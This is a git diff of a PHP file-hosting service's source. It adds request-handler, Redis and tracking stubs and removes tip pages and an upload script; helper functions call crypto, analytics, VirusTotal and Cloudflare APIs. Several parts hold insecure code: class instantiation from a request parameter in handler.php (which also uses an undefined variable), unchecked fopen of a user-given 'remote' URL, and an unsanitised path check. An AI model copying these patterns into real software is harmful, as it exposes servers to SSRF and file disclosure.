"txns" => $val->recvCount
|
|
||||||
];
|
|
||||||
}
|
|
||||||
|
|
||||||
function GetAddrInfo_XEM($addr)
|
|
||||||
{
|
|
||||||
//pick a random node to query
|
|
||||||
$nodes = curl_json_get("https://nodeexplorer.com/api_openapi_version");
|
|
||||||
$api = array_rand($nodes->nodes);
|
|
||||||
|
|
||||||
$val = curl_json_get("http://" . $nodes->nodes[$api] . "/account/get?address=" . $addr);
|
|
||||||
return (object) [
|
|
||||||
"balance" => $val->account->balance,
|
|
||||||
"txns" => 0
|
|
||||||
];
|
|
||||||
}
|
|
||||||
|
|
||||||
function GetBTCPrice()
|
|
||||||
{
|
|
||||||
$val = curl_json_get("https://api.coinmarketcap.com/v2/ticker/1/");
|
|
||||||
return $val->data->quotes->USD->price;
|
|
||||||
}
|
|
||||||
|
|
||||||
function call_webhook($url, $data) {
|
|
||||||
curl_post($url, json_encode($data));
|
|
||||||
}
|
|
||||||
|
|
||||||
function send_pub_discord_msg($data) {
|
|
||||||
call_webhook(_DISCORD_WEBHOOK_PUB, $data);
|
|
||||||
}
|
|
||||||
|
|
||||||
function send_discord_msg($data) {
|
|
||||||
call_webhook(_DISCORD_WEBHOOK, $data);
|
|
||||||
}
|
|
||||||
|
|
||||||
function ga_collect($p) {
|
|
||||||
$url = "https://www.google-analytics.com/collect";
|
|
||||||
$p["v"] = "1";
|
|
||||||
$p["tid"] = _GA_SITE_CODE;
|
|
||||||
$p["cid"] = session_id();
|
|
||||||
|
|
||||||
curl_post($url, http_build_query($p));
|
|
||||||
}
|
|
||||||
|
|
||||||
function ga_page_view($redis){
|
|
||||||
matomo_page_view($redis);
|
|
||||||
return;
|
|
||||||
|
|
||||||
$msg = http_build_query(array(
|
|
||||||
"v" => "1",
|
|
||||||
"tid" => _GA_SITE_CODE,
|
|
||||||
"cid" => isset($_COOKIE["VC:UID"]) ? $_COOKIE["VC:UID"] : uniqid(),
|
|
||||||
"t" => "pageview",
|
|
||||||
"dh" => $_SERVER['HTTP_HOST'],
|
|
||||||
"dp" => $_SERVER['REQUEST_URI'],
|
|
||||||
"uip" => _UIP,
|
|
||||||
"ua" => isset($_SERVER["HTTP_USER_AGENT"]) ? $_SERVER["HTTP_USER_AGENT"] : "",
|
|
||||||
"dr" => isset($_SERVER["HTTP_REFERER"]) ? $_SERVER["HTTP_REFERER"] : ""
|
|
||||||
));
|
|
||||||
|
|
||||||
$redis->publish('ga-page-view', $msg);
|
|
||||||
}
|
|
||||||
|
|
||||||
function matomo_page_view($redis){
|
|
||||||
$msg = "?" . http_build_query(array(
|
|
||||||
"idsite" => 1,
|
|
||||||
"rec" => 1,
|
|
||||||
"apiv" => 1,
|
|
||||||
"_id" => isset($_COOKIE["VC:UID"]) ? $_COOKIE["VC:UID"] : uniqid(),
|
|
||||||
"url" => (isset($_SERVER['HTTPS']) ? "https" : "http") . "://$_SERVER[HTTP_HOST]$_SERVER[REQUEST_URI]",
|
|
||||||
"cip" => _UIP,
|
|
||||||
"ua" => isset($_SERVER["HTTP_USER_AGENT"]) ? $_SERVER["HTTP_USER_AGENT"] : "",
|
|
||||||
"urlref" => isset($_SERVER["HTTP_REFERER"]) ? $_SERVER["HTTP_REFERER"] : ""
|
|
||||||
));
|
|
||||||
|
|
||||||
$redis->publish('ga-page-view-matomo', $msg);
|
|
||||||
}
|
|
||||||
|
|
||||||
function ga_event($cat, $act) {
|
|
||||||
ga_collect(array(
|
|
||||||
"t" => "event",
|
|
||||||
"ec" => $cat,
|
|
||||||
"ea" => $act
|
|
||||||
));
|
|
||||||
}
|
|
||||||
|
|
||||||
function clamav_scan_stream($res, $slen) {
|
|
||||||
$socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
|
|
||||||
socket_connect($socket, '127.0.0.1', 3310);
|
|
||||||
|
|
||||||
$cs = 1 * 1000 * 1000; //1MB chunk size
|
|
||||||
$offset = 0;
|
|
||||||
|
|
||||||
socket_write($socket, "zINSTREAM\0");
|
|
||||||
while ($chunk = fread($res, $cs)) {
|
|
||||||
$size = pack('N', strlen($chunk));
|
|
||||||
socket_write($socket, $size);
|
|
||||||
socket_write($socket, $chunk);
|
|
||||||
}
|
|
||||||
socket_write($socket, pack('N', 0));
|
|
||||||
rewind($res);
|
|
||||||
|
|
||||||
$response = null;
|
|
||||||
do {
|
|
||||||
$data = socket_read($socket, 128);
|
|
||||||
if($data === "") {
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
$response .= $data;
|
|
||||||
|
|
||||||
if(substr($response, -1) === "\0"){
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
}while(true);
|
|
||||||
|
|
||||||
return substr($response, 0, -1);
|
|
||||||
}
|
|
||||||
|
|
||||||
function CheckVirusTotal($h256) {
|
|
||||||
$post = array('apikey' => _VIRUSTOTAL_KEY, 'resource' => $h256);
|
|
||||||
$ch = curl_init();
|
|
||||||
curl_setopt($ch, CURLOPT_URL, 'https://www.virustotal.com/vtapi/v2/file/report');
|
|
||||||
curl_setopt($ch, CURLOPT_POST,1);
|
|
||||||
curl_setopt($ch, CURLOPT_ENCODING, 'gzip,deflate');
|
|
||||||
curl_setopt($ch, CURLOPT_USERAGENT, "gzip, void.cat virus check");
|
|
||||||
curl_setopt($ch, CURLOPT_RETURNTRANSFER ,true);
|
|
||||||
curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
|
|
||||||
|
|
||||||
$result = curl_exec ($ch);
|
|
||||||
curl_close ($ch);
|
|
||||||
|
|
||||||
$vtr = json_decode($result, true);
|
|
||||||
|
|
||||||
if($vtr["response_code"] == 1 && $vtr["positives"] > 0){
|
|
||||||
$discord_data = array("content" => "[VIRUS DETECTED] " . $vtr["permalink"]);
|
|
||||||
send_pub_discord_msg($discord_data);
|
|
||||||
}
|
|
||||||
|
|
||||||
return $vtr;
|
|
||||||
}
|
|
||||||
|
|
||||||
function ScanFile($res) {
|
|
||||||
$ch = curl_init();
|
|
||||||
$bnd_id = "---------------------------735323031399963166993862150";
|
|
||||||
|
|
||||||
$post_data = "--$bnd_id\r\nContent-Disposition: form-data; name='apikey'\r\n\r\n" . _VIRUSTOTAL_KEY . "\r\n--$bnd_id\r\nContent-Disposition: form-data; name='file'; filename='binary'\r\nContent-Type: application/octet-stream\r\n\r\n" . stream_get_contents($res) . "\r\n--$bnd_id--";
|
|
||||||
$options = array(
|
|
||||||
CURLOPT_URL => "https://www.virustotal.com/vtapi/v2/file/scan",
|
|
||||||
CURLOPT_RETURNTRANSFER => true,
|
|
||||||
CURLOPT_ENCODING => "gzip,deflate",
|
|
||||||
CURLOPT_USERAGENT => "gzip, void.cat virus check",
|
|
||||||
CURLOPT_VERBOSE => true,
|
|
||||||
CURLOPT_HTTPHEADER => array(
|
|
||||||
"Content-Type: multipart/form-data; boundary=$bnd_id"
|
|
||||||
),
|
|
||||||
CURLOPT_POST => true,
|
|
||||||
CURLOPT_POSTFIELDS => $post_data
|
|
||||||
);
|
|
||||||
curl_setopt_array($ch, $options);
|
|
||||||
|
|
||||||
$result = curl_exec($ch);
|
|
||||||
$status_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
|
|
||||||
curl_close($ch);
|
|
||||||
|
|
||||||
if($status_code != 200) {
|
|
||||||
return json_encode(array('response_code' => 0, 'verbose_msg' => 'Error, got status code: ' . $status_code), true);
|
|
||||||
} else {
|
|
||||||
return json_decode($result, true);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
function CheckVirusTotalCached($redis, $h256) {
|
|
||||||
$vr = $redis->get("VC:VT:" . $h256);
|
|
||||||
if($vr != FALSE) {
|
|
||||||
return json_decode($vr);
|
|
||||||
}else {
|
|
||||||
$vtr = CheckVirusTotal($h256);
|
|
||||||
if($vtr["response_code"] == 1 && $vtr["positives"] > 0) {
|
|
||||||
$redis->set("VC:VT:" . $h256, json_encode($vtr));
|
|
||||||
} else {
|
|
||||||
$redis->setEx("VC:VT:" . $h256, 60 * 60 * 24, json_encode($vtr));
|
|
||||||
}
|
|
||||||
|
|
||||||
return $vtr;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
function AddFirewallRule($ip) {
|
|
||||||
$post = array(
|
|
||||||
'mode' => 'challenge',
|
|
||||||
'configuration' => array(
|
|
||||||
'target' => 'ip',
|
|
||||||
'value' => $ip
|
|
||||||
),
|
|
||||||
'notes' => 'blocked by: ' . $_SERVER['SERVER_NAME']
|
|
||||||
);
|
|
||||||
|
|
||||||
$ch = curl_init();
|
|
||||||
curl_setopt($ch, CURLOPT_URL, 'https://api.cloudflare.com/client/v4/zones/' . _CLOUDFLARE_ZONE . '/firewall/access_rules/rules');
|
|
||||||
curl_setopt($ch, CURLOPT_POST,1);
|
|
||||||
curl_setopt($ch, CURLOPT_RETURNTRANSFER ,true);
|
|
||||||
curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($post));
|
|
||||||
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
|
|
||||||
'Content-Type: application/json',
|
|
||||||
'X-Auth-Email: ' . _CLOUDFLARE_API_EMAIL,
|
|
||||||
'X-Auth-Key: ' . _CLOUDFLARE_API_KEY
|
|
||||||
));
|
|
||||||
$result = curl_exec ($ch);
|
|
||||||
curl_close ($ch);
|
|
||||||
|
|
||||||
$cfr = json_decode($result, true);
|
|
||||||
|
|
||||||
if($cfr['success'] == True){
|
|
||||||
send_discord_msg(array("content" => "[IP BLOCKED] " . $ip));
|
|
||||||
}else {
|
|
||||||
send_discord_msg(array("content" => "[IP BLOCK ERROR] " . $ip . "\n```json\n" . $result . "\n```"));
|
|
||||||
}
|
|
||||||
|
|
||||||
return $cfr;
|
|
||||||
}
|
|
||||||
?>
|
|
16
src/php/handler.php
Normal file
16
src/php/handler.php
Normal file
@@ -0,0 +1,16 @@
|
|||||||
|
<?php
|
||||||
|
//Startup
|
||||||
|
Config::LoadConfig();
|
||||||
|
StaticRedis::Connect();
|
||||||
|
Db::Connect();
|
||||||
|
|
||||||
|
if(isset($_REQUEST["h"])) {
|
||||||
|
$hf = $_REQUEST["h"];
|
||||||
|
if(file_exists($h)){
|
||||||
|
$hc = new $hf();
|
||||||
|
if($hc instanceof RequestHandler){
|
||||||
|
$hc->HandleRequest();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
?>
|
@@ -1,6 +0,0 @@
|
|||||||
<?php
|
|
||||||
include("config.php");
|
|
||||||
|
|
||||||
header("Content-Type: text/json");
|
|
||||||
echo json_encode(array("result" => file_exists(_FILEPATH . $_GET["hash"])));
|
|
||||||
?>
|
|
@@ -1,101 +0,0 @@
|
|||||||
<!doctype html>
|
|
||||||
<html>
|
|
||||||
<head>
|
|
||||||
<meta name="viewport" content="width=device-width, initial-scale=1">
|
|
||||||
<title>⚡ Tip! ⚡</title>
|
|
||||||
<style>
|
|
||||||
html, body {
|
|
||||||
padding: 0;
|
|
||||||
margin: 0;
|
|
||||||
font-family: Arial;
|
|
||||||
font-size: 12px;
|
|
||||||
}
|
|
||||||
|
|
||||||
div.body {
|
|
||||||
width: 720px;
|
|
||||||
margin-left: auto;
|
|
||||||
margin-right: auto;
|
|
||||||
margin-top: 10px;
|
|
||||||
|
|
||||||
border-radius: 10px;
|
|
||||||
border: 1px solid #888;
|
|
||||||
overflow:hidden;
|
|
||||||
padding: 10px;
|
|
||||||
}
|
|
||||||
|
|
||||||
div.body pre {
|
|
||||||
word-wrap: break-word;
|
|
||||||
margin: 10px;
|
|
||||||
padding: 10px;
|
|
||||||
border: 1px solid #aaa;
|
|
||||||
border-radius: 3px;
|
|
||||||
background-color: #eee;
|
|
||||||
white-space: normal;
|
|
||||||
}
|
|
||||||
|
|
||||||
div.body img.qr {
|
|
||||||
width: 300px;
|
|
||||||
margin-left: auto;
|
|
||||||
margin-right: auto;
|
|
||||||
display: block;
|
|
||||||
}
|
|
||||||
|
|
||||||
@media screen and (max-width: 720px) {
|
|
||||||
html, body {
|
|
||||||
font-size: 20px;
|
|
||||||
}
|
|
||||||
|
|
||||||
div.body {
|
|
||||||
width: auto;
|
|
||||||
margin: 0;
|
|
||||||
}
|
|
||||||
|
|
||||||
div.body img.qr {
|
|
||||||
width: 100%;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
</style>
|
|
||||||
</head>
|
|
||||||
<body>
|
|
||||||
<div class="body">
|
|
||||||
<?php
|
|
||||||
include_once("config.php");
|
|
||||||
include_once("functions.php");
|
|
||||||
|
|
||||||
if(!isset($_GET["label"])) {
|
|
||||||
$id = uniqid();
|
|
||||||
$inv = ln_query("invoice", array("any", $id, "void.cat tip"));
|
|
||||||
|
|
||||||
if(isset($inv->result)) {
|
|
||||||
header("location: /src/php/lightning-tip.php?label=" . $id);
|
|
||||||
} else {
|
|
||||||
echo "<pre>" . json_encode($inv) . "</pre>";
|
|
||||||
}
|
|
||||||
} else {
|
|
||||||
$id = $_GET["label"];
|
|
||||||
$node = ln_query("getinfo", array());
|
|
||||||
$inv = ln_query("listinvoices", array($id));
|
|
||||||
if(isset($inv->result) && isset($inv->result->invoices[0])) {
|
|
||||||
$i = $inv->result->invoices[0];
|
|
||||||
$n = $node->result;
|
|
||||||
|
|
||||||
echo "<pre>" . $n->id . "@" . $n->address[0]->address . ":" . $n->address[0]->port . "</pre>";
|
|
||||||
|
|
||||||
echo "<pre>" . $i->bolt11 . "</pre>";
|
|
||||||
|
|
||||||
$fn = "/tmp/" . $id . ".png";
|
|
||||||
if(!file_exists($fn)) {
|
|
||||||
$cmd = "/usr/local/bin/myqr lightning:" . $i->bolt11 . " -n " . $id . ".png -c -d /tmp/ 2>&1";
|
|
||||||
$qr = shell_exec($cmd);
|
|
||||||
}
|
|
||||||
$img_b64 = base64_encode(file_get_contents($fn));
|
|
||||||
|
|
||||||
echo "<img class=\"qr\" src=\"data:image/png;base64," . $img_b64 . "\"/>";
|
|
||||||
} else {
|
|
||||||
echo "<pre>" . json_encode($inv) . "</pre>";
|
|
||||||
}
|
|
||||||
}
|
|
||||||
?>
|
|
||||||
</div>
|
|
||||||
</body>
|
|
||||||
</html>
|
|
12
src/php/redis.php
Normal file
12
src/php/redis.php
Normal file
@@ -0,0 +1,12 @@
|
|||||||
|
<?php
|
||||||
|
|
||||||
|
class StaticRedis {
|
||||||
|
public static $Instance = NULL;
|
||||||
|
|
||||||
|
public static function Connect(){
|
||||||
|
$cfg = Config::$Instance;
|
||||||
|
self::$Instance = new Redis();
|
||||||
|
return self::$Instance->pconnect($cfg->redis);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
?>
|
5
src/php/requesthandler.php
Normal file
5
src/php/requesthandler.php
Normal file
@@ -0,0 +1,5 @@
|
|||||||
|
<?php
|
||||||
|
interface RequestHandler {
|
||||||
|
public function HandleRequest();
|
||||||
|
}
|
||||||
|
?>
|
@@ -1,65 +0,0 @@
|
|||||||
<?php
|
|
||||||
include_once("config.php");
|
|
||||||
include_once("functions.php");
|
|
||||||
|
|
||||||
$tips = ln_query("listinvoices", array())->result;
|
|
||||||
$sp = GetBTCPrice();
|
|
||||||
?>
|
|
||||||
<!doctype html>
|
|
||||||
<html>
|
|
||||||
<head>
|
|
||||||
<title>Tip List</title>
|
|
||||||
<style>
|
|
||||||
html, body {
|
|
||||||
margin: 0;
|
|
||||||
padding: 0;
|
|
||||||
font-family: Arial;
|
|
||||||
font-size: 14px;
|
|
||||||
}
|
|
||||||
|
|
||||||
table {
|
|
||||||
border-collapse: collapse;
|
|
||||||
}
|
|
||||||
|
|
||||||
th,td {
|
|
||||||
border: 1px solid #333;
|
|
||||||
padding: 5px;
|
|
||||||
}
|
|
||||||
</style>
|
|
||||||
</head>
|
|
||||||
<body>
|
|
||||||
<h3>BTC price: $<?php echo $sp; ?></h3>
|
|
||||||
<table>
|
|
||||||
<thead>
|
|
||||||
<tr>
|
|
||||||
<th>id</th>
|
|
||||||
<th>msatoshi</th>
|
|
||||||
<th>USD</th>
|
|
||||||
<th>status</th>
|
|
||||||
<th>paid</th>
|
|
||||||
</tr>
|
|
||||||
</thead>
|
|
||||||
<tbody>
|
|
||||||
<?php
|
|
||||||
$total = 0;
|
|
||||||
|
|
||||||
foreach($tips->invoices as $inv)
|
|
||||||
{
|
|
||||||
$col = "";
|
|
||||||
switch($inv->status) {
|
|
||||||
case "paid": $col = "#00ff00"; break;
|
|
||||||
case "unpaid": $col = "#ffb100"; break;
|
|
||||||
}
|
|
||||||
|
|
||||||
$val = isset($inv->msatoshi_received) ? $inv->msatoshi_received : 0;
|
|
||||||
if($inv->status === "paid") {
|
|
||||||
$total += $val;
|
|
||||||
}
|
|
||||||
echo "<tr style=\"background-color: " . $col . ";\"><td>" . $inv->label . "</td><td>" . number_format($val, 8) . "</td><td>" . number_format($val * $sp * MSAT, 4) . "</td><td>" . $inv->status . "</td><td>" . (isset($inv->paid_at) ? date('Y/m/d H:i:s', $inv->paid_at) : "") . "</td></tr>";
|
|
||||||
}
|
|
||||||
?>
|
|
||||||
</tbody>
|
|
||||||
</table>
|
|
||||||
<?php echo "<h3>Total: $" . number_format($total * $sp * MSAT, 4) . " (BTC " . number_format($total * MSAT, 8) . ")</h3>"; ?>
|
|
||||||
</body>
|
|
||||||
</html>
|
|
@@ -1,104 +0,0 @@
|
|||||||
<?php
|
|
||||||
include_once("config.php");
|
|
||||||
include_once("functions.php");
|
|
||||||
|
|
||||||
$uri_format = array(
|
|
||||||
"BTC" => "bitcoin:%s",
|
|
||||||
"BCH" => "bitcoincash:%s",
|
|
||||||
"BTG" => "bitcoingold:%s",
|
|
||||||
"DASH" => "dash:%s",
|
|
||||||
"LTC" => "litecoin:%s",
|
|
||||||
"ZEC" => "zcash:%s",
|
|
||||||
"ETH" => "ethereum:%s",
|
|
||||||
"EOS" => "ethereum:%s",
|
|
||||||
"TRX" => "ethereum:%s",
|
|
||||||
"ETC" => "ethereum:%s&id=61",
|
|
||||||
"XEM" => "nem:%s"
|
|
||||||
);
|
|
||||||
|
|
||||||
$redis = new Redis();
|
|
||||||
$redis->pconnect(_REDIS_SERVER);
|
|
||||||
|
|
||||||
$inf = array();
|
|
||||||
$inf_cache = $redis->get("tip_info_cache");
|
|
||||||
if($inf_cache == false) {
|
|
||||||
$inf = GetAllAddrInfo(_TIP_ADDRS);
|
|
||||||
$redis->setEx("tip_info_cache", 3600, json_encode($inf));
|
|
||||||
}else{
|
|
||||||
$inf = json_decode($inf_cache);
|
|
||||||
}
|
|
||||||
?>
|
|
||||||
<!doctype html>
|
|
||||||
<html>
|
|
||||||
<head>
|
|
||||||
<meta name="viewport" content="width=device-width, initial-scale=1">
|
|
||||||
<title>Tips</title>
|
|
||||||
<style>
|
|
||||||
html, body {
|
|
||||||
padding: 0;
|
|
||||||
margin: 0;
|
|
||||||
font-family: Arial;
|
|
||||||
font-size: 12px;
|
|
||||||
}
|
|
||||||
|
|
||||||
div.body {
|
|
||||||
width: 720px;
|
|
||||||
margin-left: auto;
|
|
||||||
margin-right: auto;
|
|
||||||
margin-top: 10px;
|
|
||||||
|
|
||||||
border-radius: 10px;
|
|
||||||
border: 1px solid #888;
|
|
||||||
overflow:hidden;
|
|
||||||
padding: 10px;
|
|
||||||
}
|
|
||||||
|
|
||||||
div.body div.tip-row {
|
|
||||||
margin-top: 10px;
|
|
||||||
overflow: hidden;
|
|
||||||
padding: 10px;
|
|
||||||
|
|
||||||
background-color: #ccc;
|
|
||||||
border-radius: 3px;
|
|
||||||
border: 1px solid #555;
|
|
||||||
|
|
||||||
line-height: 24px;
|
|
||||||
}
|
|
||||||
|
|
||||||
div.body div.tip-row img {
|
|
||||||
float: left;
|
|
||||||
height: 24px;
|
|
||||||
margin-right: 10px;
|
|
||||||
}
|
|
||||||
|
|
||||||
div.body div.tip-row div {
|
|
||||||
float: left;
|
|
||||||
}
|
|
||||||
div.body div.tip-row div.bal {
|
|
||||||
float: right;
|
|
||||||
}
|
|
||||||
|
|
||||||
@media screen and (max-width: 720px) {
|
|
||||||
div.body {
|
|
||||||
width: auto;
|
|
||||||
margin: 0;
|
|
||||||
}
|
|
||||||
div.body div.tip-row div.bal {
|
|
||||||
display: none;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
</style>
|
|
||||||
</head>
|
|
||||||
<body>
|
|
||||||
<div class="body">
|
|
||||||
<p>Tips help me get drunk, please consider tipping if you like the service I am currenly paying all the server bills myself.</p>
|
|
||||||
<?php
|
|
||||||
foreach($inf as $addr)
|
|
||||||
{
|
|
||||||
$addr_name = (isset($uri_format[strtoupper($addr->currency)]) ? ("<a href=\"" . sprintf($uri_format[$addr->currency], $addr->address) . "\">" . $addr->address . "</a>") : $addr->address);
|
|
||||||
echo "<div class=\"tip-row\"><img src=\"/src/img/" . strtolower($addr->currency) . ".png\"/><div class=\"addr\">" . $addr_name . "</div><div class=\"bal\">" . strtoupper($addr->currency) . " " . number_format($addr->balance, 8) . "</div></div>";
|
|
||||||
}
|
|
||||||
?>
|
|
||||||
</div>
|
|
||||||
</body>
|
|
||||||
</html>
|
|
15
src/php/tracking.php
Normal file
15
src/php/tracking.php
Normal file
@@ -0,0 +1,15 @@
|
|||||||
|
<?php
|
||||||
|
class TrackingEvent {
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
class Tracking {
|
||||||
|
public static function CreateEventFromDownload(){
|
||||||
|
return new TrackingEvent();
|
||||||
|
}
|
||||||
|
|
||||||
|
public function TrackDownload($ev) {
|
||||||
|
|
||||||
|
}
|
||||||
|
}
|
||||||
|
?>
|
@@ -1,181 +0,0 @@
|
|||||||
<?php
|
|
||||||
include_once('db.php');
|
|
||||||
include_once("functions.php");
|
|
||||||
|
|
||||||
set_time_limit(1200);
|
|
||||||
|
|
||||||
$response = array(
|
|
||||||
"status" => 0,
|
|
||||||
"msg" => null,
|
|
||||||
"hash" => null,
|
|
||||||
"publichash" => null,
|
|
||||||
"link" => null,
|
|
||||||
"mime" => null,
|
|
||||||
"filename" => null,
|
|
||||||
"upload" => json_encode($_FILES)
|
|
||||||
);
|
|
||||||
|
|
||||||
$isMultipart = strpos($_SERVER['CONTENT_TYPE'], 'multipart/form-data') !== False;
|
|
||||||
|
|
||||||
//check input size is large enough
|
|
||||||
$maxsizeM = ini_get('post_max_size');
|
|
||||||
$maxsize = (int)(str_replace('M', '', $maxsizeM) * 1024 * 1024);
|
|
||||||
$fsize = $isMultipart ? $_FILES['files']['size'][0] : (int)$_SERVER['CONTENT_LENGTH'];
|
|
||||||
$mime = $isMultipart ? $_FILES['files']['type'][0] : (strlen($_SERVER['CONTENT_TYPE']) > 0 ? $_SERVER['CONTENT_TYPE'] : _DEFAULT_TYPE);
|
|
||||||
$fname = $isMultipart ? $_FILES['files']['name'][0] : $_GET["filename"];
|
|
||||||
|
|
||||||
if($fsize > $maxsize)
|
|
||||||
{
|
|
||||||
$response["msg"] = "File too big";
|
|
||||||
}
|
|
||||||
else
|
|
||||||
{
|
|
||||||
$tmpf = 0;
|
|
||||||
|
|
||||||
if ($isMultipart === False)
|
|
||||||
{
|
|
||||||
$source = isset($_GET["remote"]) ? $_GET["remote"] : "php://input";
|
|
||||||
|
|
||||||
$rawf = fopen($source, 'rb');
|
|
||||||
|
|
||||||
if(isset($_GET["remote"])){
|
|
||||||
$meta_data = stream_get_meta_data($rawf);
|
|
||||||
foreach($meta_data["wrapper_data"] as $hd){
|
|
||||||
if(strpos($hd, "Content-Type") === 0){
|
|
||||||
$nt = explode(": ", $hd);
|
|
||||||
$mime = $nt[1];
|
|
||||||
if(strpos($mime, ";") > 0){
|
|
||||||
$ms = explode(";", $mime);
|
|
||||||
$mime = $ms[0];
|
|
||||||
}
|
|
||||||
}else if(strpos($hd, "Content-Disposition") === 0){
|
|
||||||
$nn = explode("filename=", $hd);
|
|
||||||
$fname = str_replace("\"", "", $nn[1]);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
if($fname == "remote"){
|
|
||||||
//parse url if no content-disposition is set
|
|
||||||
preg_match('@^.*\/(.*\.[a-zA-Z0-9]{0,4})@i', $_GET["remote"], $matches);
|
|
||||||
if(count($matches) > 0){
|
|
||||||
$fname = $matches[1];
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
$tmpf = fopen("php://temp", 'rb+');
|
|
||||||
stream_copy_to_stream($rawf, $tmpf);
|
|
||||||
rewind($tmpf);
|
|
||||||
fclose($rawf);
|
|
||||||
}
|
|
||||||
else
|
|
||||||
{
|
|
||||||
$f = $_FILES['files'];
|
|
||||||
$tmpf = fopen($f['tmp_name'][0], 'rb');
|
|
||||||
}
|
|
||||||
|
|
||||||
//Connect to db
|
|
||||||
$db = new DB();
|
|
||||||
|
|
||||||
//get file hash
|
|
||||||
$hc = hash_init('sha256');
|
|
||||||
hash_update_stream($hc, $tmpf);
|
|
||||||
$fh = hash_final($hc);
|
|
||||||
$response["hash"] = $fh;
|
|
||||||
rewind($tmpf);
|
|
||||||
|
|
||||||
$response["filename"] = $fname;
|
|
||||||
|
|
||||||
//check for dupes
|
|
||||||
$f_e = $db->Exists256($fh);
|
|
||||||
if($f_e->hash160 != NULL)
|
|
||||||
{
|
|
||||||
//file already exists
|
|
||||||
$response["status"] = 200;
|
|
||||||
$response["publichash"] = $f_e->hash160;
|
|
||||||
$response["link"] = _SITEURL . $f_e->hash160;
|
|
||||||
$response["mime"] = $f_e->mime;
|
|
||||||
|
|
||||||
if($isMultipart) {
|
|
||||||
$response["success"] = true;
|
|
||||||
$response["files"] = array(array("url" => $response["link"]));
|
|
||||||
}
|
|
||||||
}
|
|
||||||
else
|
|
||||||
{
|
|
||||||
/*
|
|
||||||
//file does not exist
|
|
||||||
//check clamav
|
|
||||||
include_once('clamav.php');
|
|
||||||
$sr = ScanStream($tmpf, $fsize);
|
|
||||||
if($sr !== "stream: OK"){
|
|
||||||
$discord_data = array("content" => $sr);
|
|
||||||
include("discord.php");
|
|
||||||
}else{
|
|
||||||
$response["clamav"] = $sr;
|
|
||||||
}*/
|
|
||||||
|
|
||||||
//check with VT (max upload is 32MB)
|
|
||||||
/*if($fsize < 32 * 1000 * 1000) {
|
|
||||||
$redis = new Redis();
|
|
||||||
$redis->pconnect(_REDIS_SERVER);
|
|
||||||
|
|
||||||
include_once('virustotal.php');
|
|
||||||
$vtr = CheckVirusTotalCached($redis, $fh);
|
|
||||||
if($vtr != null && isset($vtr->response_code) && $vtr->response_code == 0) {
|
|
||||||
$sr = ScanFile($tmpf);
|
|
||||||
$discord_data = array("content" => $sr->verbose_msg);
|
|
||||||
include("discord.php");
|
|
||||||
}
|
|
||||||
}*/
|
|
||||||
|
|
||||||
//generate public hash
|
|
||||||
$phc = hash_init(_PUB_HASH);
|
|
||||||
hash_update($phc, $fh);
|
|
||||||
$ph = hash_final($phc);
|
|
||||||
$response["publichash"] = $ph;
|
|
||||||
|
|
||||||
//save to disk
|
|
||||||
$op = _FILEPATH . $ph;
|
|
||||||
$fo = fopen($op, 'wb+');
|
|
||||||
if($fo !== False){
|
|
||||||
//save to db
|
|
||||||
$f_e = new FileUpload();
|
|
||||||
$f_e->hash160 = $ph;
|
|
||||||
$f_e->hash256 = $fh;
|
|
||||||
$f_e->mime = $mime;
|
|
||||||
$f_e->size = $fsize;
|
|
||||||
$f_e->path = $op;
|
|
||||||
$f_e->filename = $fname;
|
|
||||||
|
|
||||||
if($db->InsertFile($f_e)) {
|
|
||||||
stream_copy_to_stream($tmpf, $fo);
|
|
||||||
fclose($fo);
|
|
||||||
$discord_data = array("content" => _SITEURL . '#' . $f_e->hash160);
|
|
||||||
send_discord_msg($discord_data);
|
|
||||||
|
|
||||||
$response["status"] = 200;
|
|
||||||
$response["link"] = _SITEURL . $f_e->hash160;
|
|
||||||
$response["mime"] = $mime;
|
|
||||||
|
|
||||||
if($isMultipart) {
|
|
||||||
$response["success"] = true;
|
|
||||||
$response["files"] = array(array("url" => $response["link"]));
|
|
||||||
}
|
|
||||||
} else {
|
|
||||||
$response["status"] = 500;
|
|
||||||
$response["msg"] = "Server error!";
|
|
||||||
}
|
|
||||||
} else {
|
|
||||||
$response["status"] = 500;
|
|
||||||
$response["msg"] = "Server error!";
|
|
||||||
}
|
|
||||||
}
|
|
||||||
//close streams
|
|
||||||
fclose($tmpf);
|
|
||||||
}
|
|
||||||
|
|
||||||
//return response
|
|
||||||
header('Content-Type: application/json');
|
|
||||||
echo json_encode($response);
|
|
||||||
?>
|
|
Reference in New Issue
Block a user